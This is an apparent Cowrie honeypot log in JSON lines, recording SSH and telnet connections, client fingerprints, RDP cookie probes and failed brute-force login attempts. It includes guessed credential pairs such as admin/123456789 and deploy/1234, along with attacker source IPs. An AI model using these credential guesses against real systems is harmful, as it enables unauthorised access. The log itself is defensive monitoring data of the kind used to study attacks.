{"eventid":"cowrie.session.closed","duration":50.020233154296875,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:33.528326Z","src_ip":"152.42.224.71","session":"c4cd355fa9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36382,"dst_ip":"159.203.135.109","dst_port":22,"session":"480d3d21fa69","protocol":"ssh","message":"New connection: 176.65.132.129:36382 (159.203.135.109:22) [session: 480d3d21fa69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:33.642734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:33.647625Z","src_ip":"176.65.132.129","session":"480d3d21fa69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:33.730627Z","src_ip":"176.65.132.129","session":"480d3d21fa69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:33.978691Z","src_ip":"176.65.132.129","session":"480d3d21fa69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:35.064898Z","src_ip":"176.65.132.129","session":"480d3d21fa69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44564,"dst_ip":"10.17.0.5","dst_port":23,"session":"3674609e11c3","protocol":"telnet","message":"New connection: 152.42.224.71:44564 (10.17.0.5:23) [session: 3674609e11c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:35.418598Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47436,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a5b640e1a56","protocol":"ssh","message":"New connection: 176.65.132.129:47436 (159.203.135.109:22) [session: 0a5b640e1a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:36.928362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:36.933685Z","src_ip":"176.65.132.129","session":"0a5b640e1a56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:37.016351Z","src_ip":"176.65.132.129","session":"0a5b640e1a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:37.264085Z","src_ip":"176.65.132.129","session":"0a5b640e1a56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:38.349420Z","src_ip":"176.65.132.129","session":"0a5b640e1a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47448,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffbf405ad33b","protocol":"ssh","message":"New connection: 176.65.132.129:47448 (159.203.135.109:22) [session: ffbf405ad33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:40.189514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:40.194844Z","src_ip":"176.65.132.129","session":"ffbf405ad33b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:40.405933Z","src_ip":"176.65.132.129","session":"ffbf405ad33b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:40.680119Z","src_ip":"176.65.132.129","session":"ffbf405ad33b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:41.767574Z","src_ip":"176.65.132.129","session":"ffbf405ad33b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61710,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6a039855a32","protocol":"ssh","message":"New connection: 167.172.81.52:61710 (159.203.135.109:22) [session: f6a039855a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:41.777242Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:41.781999Z","src_ip":"167.172.81.52","session":"f6a039855a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:41.785316Z","src_ip":"167.172.81.52","session":"f6a039855a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39210,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2007103fff7","protocol":"telnet","message":"New connection: 152.42.224.71:39210 (10.17.0.5:23) [session: c2007103fff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:42.954543Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47462,"dst_ip":"159.203.135.109","dst_port":22,"session":"d434043418e8","protocol":"ssh","message":"New connection: 176.65.132.129:47462 (159.203.135.109:22) [session: d434043418e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:43.563300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:43.567873Z","src_ip":"176.65.132.129","session":"d434043418e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:43.650044Z","src_ip":"176.65.132.129","session":"d434043418e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:43.896854Z","src_ip":"176.65.132.129","session":"d434043418e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:44.982628Z","src_ip":"176.65.132.129","session":"d434043418e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.647671937942505,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:46.268177Z","src_ip":"152.42.224.71","session":"2b69a5166341","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.01938343048096,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:46.782295Z","src_ip":"152.42.224.71","session":"b286e2b1c0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50354,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f398a8b8033","protocol":"ssh","message":"New connection: 176.65.132.129:50354 (159.203.135.109:22) [session: 2f398a8b8033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:46.827571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:46.832597Z","src_ip":"176.65.132.129","session":"2f398a8b8033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:46.914610Z","src_ip":"176.65.132.129","session":"2f398a8b8033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:47.283941Z","src_ip":"176.65.132.129","session":"2f398a8b8033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60635,"dst_ip":"159.203.135.109","dst_port":22,"session":"a942152c43e0","protocol":"ssh","message":"New connection: 152.42.212.128:60635 (159.203.135.109:22) [session: a942152c43e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:47.531825Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:47.537028Z","src_ip":"152.42.212.128","session":"a942152c43e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:47.540975Z","src_ip":"152.42.212.128","session":"a942152c43e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:48.369781Z","src_ip":"176.65.132.129","session":"2f398a8b8033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.98410177230835,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:49.042842Z","src_ip":"152.42.224.71","session":"1de13e27bf10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58544,"dst_ip":"10.17.0.5","dst_port":23,"session":"57dc927e92a1","protocol":"telnet","message":"New connection: 152.42.224.71:58544 (10.17.0.5:23) [session: 57dc927e92a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:49.264188Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50364,"dst_ip":"159.203.135.109","dst_port":22,"session":"514d7f35a663","protocol":"ssh","message":"New connection: 176.65.132.129:50364 (159.203.135.109:22) [session: 514d7f35a663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:50.075925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:50.080575Z","src_ip":"176.65.132.129","session":"514d7f35a663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:50.162399Z","src_ip":"176.65.132.129","session":"514d7f35a663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:50.482209Z","src_ip":"176.65.132.129","session":"514d7f35a663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:51.566619Z","src_ip":"176.65.132.129","session":"514d7f35a663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58554,"dst_ip":"10.17.0.5","dst_port":23,"session":"474fe49da119","protocol":"telnet","message":"New connection: 152.42.224.71:58554 (10.17.0.5:23) [session: 474fe49da119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:53.382807Z"}
{"eventid":"cowrie.session.closed","duration":101.65547728538513,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:53.420734Z","src_ip":"152.42.224.71","session":"9a25f5304dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50366,"dst_ip":"159.203.135.109","dst_port":22,"session":"88339dad6159","protocol":"ssh","message":"New connection: 176.65.132.129:50366 (159.203.135.109:22) [session: 88339dad6159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:53.501190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:53.506515Z","src_ip":"176.65.132.129","session":"88339dad6159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:53.595114Z","src_ip":"176.65.132.129","session":"88339dad6159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:53.842470Z","src_ip":"176.65.132.129","session":"88339dad6159","protocol":"ssh"}
